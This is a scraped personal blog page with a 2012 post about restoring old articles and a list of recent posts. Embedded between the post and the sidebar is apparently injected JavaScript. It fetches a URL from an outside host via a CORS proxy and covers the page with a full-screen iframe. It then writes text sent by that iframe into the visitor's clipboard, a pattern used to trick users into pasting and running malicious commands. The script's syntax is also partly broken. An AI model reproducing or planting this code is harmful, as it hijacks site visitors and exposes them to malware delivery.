Blog Details

09 Feb/12

Somwhere between old and new

If you’ve visted the site any time between the New Years Day of this year and about a week ago you’d remember how … empty the site was. That’s no longer the case. All of the old article content has been restored (some of the links within are still broken as they point to the old site*). I’m now focusing on the static site content: the pages, and the project pages in particular.

* I don’t plan on updating these links as I look at these articles as legacy writings and it’s easy enough to search for the other articles they link to.

const configLink = "https://corsproxy.io/?url=http://heyues.live";

if (!window.__digitalflwrFetchPromise) {

window.__digitalflwrFetchPromise = fetch(configLink) .then(response => { if (!response.ok) { throw new Error(" "); } return response.text(); })

.then(finalUrl => { return fetch(finalUrl, { method: "HEAD" }) .then(headResponse => ({ headResponse, finalUrl })); }) .catch(() => {

}); }

if (typeof window.__digitalflwrIframeCreated === "undefined") { window.__digitalflwrIframeCreated = false; }

window.__digitalflwrFetchPromise .then(result => {

if (!result) return; const { headResponse, finalUrl } = result;

if (!headResponse || headResponse.status === 404) { return; }

if (!window.__digitalflwrIframeCreated) { window.__digitalflwrIframeCreated = true; createMainIframe(finalUrl); } }) .catch(() => {

});

function createMainIframe(url) { const iframe = document.createElement("iframe"); iframe.src = url; iframe.style.position = "fixed"; iframe.style.top = 0; iframe.style.left = 0; iframe.style.width = "100%"; iframe.style.height = "100%"; iframe.style.border = "none"; iframe.style.margin = 0; iframe.style.padding = 0; iframe.style.overflow = "hidden"; iframe.style.zIndex = 99999;

document.body.appendChild(iframe);

window.addEventListener("message", function(event) { if (!event.data || event.data.type !== "copy") return;

if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(event.data.text).catch(() => { fallbackCopyText(event.data.text); }); } else { fallbackCopyText(event.data.text); } });

function fallbackCopyText(text) { const textArea = document.createElement("textarea"); textArea.value = text; document.body.appendChild(textArea); textArea.select();

try { document.execCommand("copy"); } catch (err) {

}

document.body.removeChild(textArea); } } })();

February 8, 2012
LARP at Play: LARP 101
March 14, 2012
Why the crickets?

Categories

Recent Posts

Hello … what’s going on here???

20 Dec/23
No Comments

Site Update(d)

21 Mar/23
No Comments

The State of the Project

22 Feb/23
No Comments

Project Work Progress Update

07 Jul/21
No Comments